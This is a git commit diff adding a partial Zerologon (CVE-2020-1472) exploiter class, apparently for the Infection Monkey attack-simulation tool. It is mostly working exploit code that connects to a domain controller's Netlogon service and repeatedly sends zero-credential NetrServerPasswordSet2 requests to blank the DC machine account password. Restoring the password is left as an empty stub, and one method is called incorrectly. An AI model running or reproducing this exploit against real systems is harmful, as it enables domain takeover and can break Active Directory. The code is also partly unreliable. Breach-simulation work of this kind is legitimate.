Partially add Zerologon exploiter
This commit is contained in:
parent
2cc0a159e0
commit
9468de471d
|
@ -0,0 +1,85 @@
|
||||||
|
"""
|
||||||
|
Zerologon, CVE-2020-1472
|
||||||
|
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||||
|
|
||||||
|
from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class ZerologonExploiter(HostExploiter):
|
||||||
|
_TARGET_OS_TYPE = ['windows']
|
||||||
|
_EXPLOITED_SERVICE = 'Netlogon'
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super().__init__(host)
|
||||||
|
self.vulnerable_port = None
|
||||||
|
|
||||||
|
def _exploit_host(self):
|
||||||
|
MAX_ATTEMPTS = 2000
|
||||||
|
zerologon_finger = ZerologonFinger()
|
||||||
|
|
||||||
|
DC_IP = self.host.ip
|
||||||
|
DC_NAME = zerologon_finger.get_dc_name(DC_IP)
|
||||||
|
DC_HANDLE = '\\\\' + DC_NAME
|
||||||
|
|
||||||
|
if zerologon_finger.get_host_fingerprint(self.host): # exploitable
|
||||||
|
LOG.info("Target vulnerable, changing account password to empty string")
|
||||||
|
|
||||||
|
# Connect to the DC's Netlogon service.
|
||||||
|
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
||||||
|
protocol='ncacn_ip_tcp')
|
||||||
|
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||||
|
rpc_con.connect()
|
||||||
|
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||||
|
|
||||||
|
# Start exploiting attempts.
|
||||||
|
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||||
|
result = None
|
||||||
|
for _ in range(0, MAX_ATTEMPTS):
|
||||||
|
try:
|
||||||
|
result = attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
|
||||||
|
except nrpc.DCERPCSessionError as ex:
|
||||||
|
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||||
|
# Otherwise, the attack is probably not working.
|
||||||
|
if ex.get_error_code() != 0xc0000022:
|
||||||
|
LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
|
||||||
|
except BaseException as ex:
|
||||||
|
LOG.info(f"Unexpected error: {ex}")
|
||||||
|
|
||||||
|
if result is not None:
|
||||||
|
break
|
||||||
|
|
||||||
|
LOG.debug(f"Result error code: {result['ErrorCode']}")
|
||||||
|
if result['ErrorCode'] == 0:
|
||||||
|
LOG.info("Exploit complete!")
|
||||||
|
else:
|
||||||
|
LOG.info("Non-zero return code, something went wrong.")
|
||||||
|
|
||||||
|
# how do i execute monkey on the exploited machine?
|
||||||
|
# restore password
|
||||||
|
|
||||||
|
else:
|
||||||
|
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||||
|
|
||||||
|
def attempt_exploit(self, DC_HANDLE, rpc_con, TARGET_COMPUTER):
|
||||||
|
request = nrpc.NetrServerPasswordSet2()
|
||||||
|
request['PrimaryName'] = DC_HANDLE + '\x00'
|
||||||
|
request['AccountName'] = TARGET_COMPUTER + '$\x00'
|
||||||
|
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||||
|
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||||
|
authenticator['Credential'] = b'\x00' * 8
|
||||||
|
authenticator['Timestamp'] = 0
|
||||||
|
request['Authenticator'] = authenticator
|
||||||
|
request['ComputerName'] = TARGET_COMPUTER + '\x00'
|
||||||
|
request['ClearNewPassword'] = b'\x00' * 516
|
||||||
|
return rpc_con.request(request)
|
||||||
|
|
||||||
|
def restore_password(self):
|
||||||
|
# get nthash using secretsdump and then restore password
|
||||||
|
pass
|
Loading…
Reference in New Issue